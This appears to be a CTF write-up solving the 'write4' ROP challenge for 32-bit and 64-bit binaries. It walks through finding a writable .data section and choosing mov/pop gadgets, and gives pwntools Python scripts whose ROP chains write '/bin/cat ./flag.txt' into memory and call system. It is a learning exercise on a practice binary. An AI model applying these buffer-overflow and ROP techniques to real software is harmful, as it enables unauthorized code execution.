We have the same situation as we had in the split challenge, however in this case we do not have the string /bin/cat flag.txt lying around in the binary. We'll have to construct this string in the memory and then ask the system function to execute this.
So we'll just get right into it and try to build the write primitive that will get us the writing capabilities and the we'll construct the complete ROP chain to execution.
First we'll have to find a write able section of the binary that we'll write the data to.
$readelf-S./write432|grepW [19] .init_arrayINIT_ARRAY08049f08000f0800000400WA004 [20] .fini_arrayFINI_ARRAY08049f0c000f0c00000400WA004 [21] .jcrPROGBITS08049f10000f1000000400WA004 [22] .dynamicDYNAMIC08049f14000f140000e808WA604 [23] .gotPROGBITS08049ffc000ffc00000404WA004 [24] .got.pltPROGBITS0804a00000100000002804WA004 [25] .dataPROGBITS0804a02800102800000800WA004 [26] .bssNOBITS0804a04000103000002c00WA0032W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
Out of all the write able sections, I tried .jcr, .dynamic, but only .data seemed to be working, I am yet to figure out the reason for this. However, we'll use .data section to write the data.
32 bit
We have to find rop gadget that will let us write to a memory location, something like the following.
movdwordptr [REG1], REG2# This will write the data from REG2 to the memory # location of REG1
This is essentially what we are looking for. Another gadget that we'll need is the one that will help us load the appropriate data to the registers.
So the gadgets that I found were the following:
# Write to memory location0x08048670:movdwordptr [edi], ebp ; ret# Load the registers with data0x080486da:popedi ; popebp ; ret
So now all we had to do was make the ROP that will write the string chunks of 4 bytes to the appropriate location, for which I wrote the python script to automate the process.
from pwn import*import refinal_rop = []store_vals =0x080486dawrite_str =0x08048670system =0x08048430data =0x0804a028defget_hex_arr(): param ="/bin/cat ./flag.txt;"# This splits string to pieces of 4 arr = re.findall('.{4}', param)return [e[::-1].encode("hex")for e in arr]i =0for chunk inget_hex_arr(): final_rop.append(p32(store_vals))# This is to move the memory location by 4# every time we write a chunk of string final_rop.append(p32(data + i)) final_rop.append(p32(int(chunk, 16))) final_rop.append(p32(write_str)) i +=4print"A"*44+''.join(final_rop)+p32(system)+"JUNK"+p32(data)
We'll follow the same process as done in 32 bit architecture binary, the only difference will come while loading the parameters for the system function, due to difference in way the x64 load parameters.
# Write to the memory location0x0000000000400820:movqwordptr [r14], r15 ; ret# Load the registers with value0x0000000000400890:popr14 ; popr15 ; ret
Python script that will generate the complete exploit
from pwn import*import refinal_rop = []store_vals =0x0000000000400890write_str =0x0000000000400820system =0x4005e0data =0x0000000000601050write_rdi =0x0000000000400893ret =0x00000000004005b9defget_hex_arr():# The string has been made of length divisible by 8# to fix string padding issues param ="/bin/cat ./flag.txt;echo" arr = re.findall('.{8}', param)return [e[::-1].encode("hex")for e in arr]i =0for chunk inget_hex_arr(): final_rop.append(p64(store_vals)) final_rop.append(p64(data + i)) final_rop.append(p64(int(chunk, 16))) final_rop.append(p64(write_str)) i +=8# Loading the parameter for system functionfinal_rop.append(p64(write_rdi))final_rop.append(p64(data))final_rop.append(p64(system))print"A"*40+''.join(final_rop)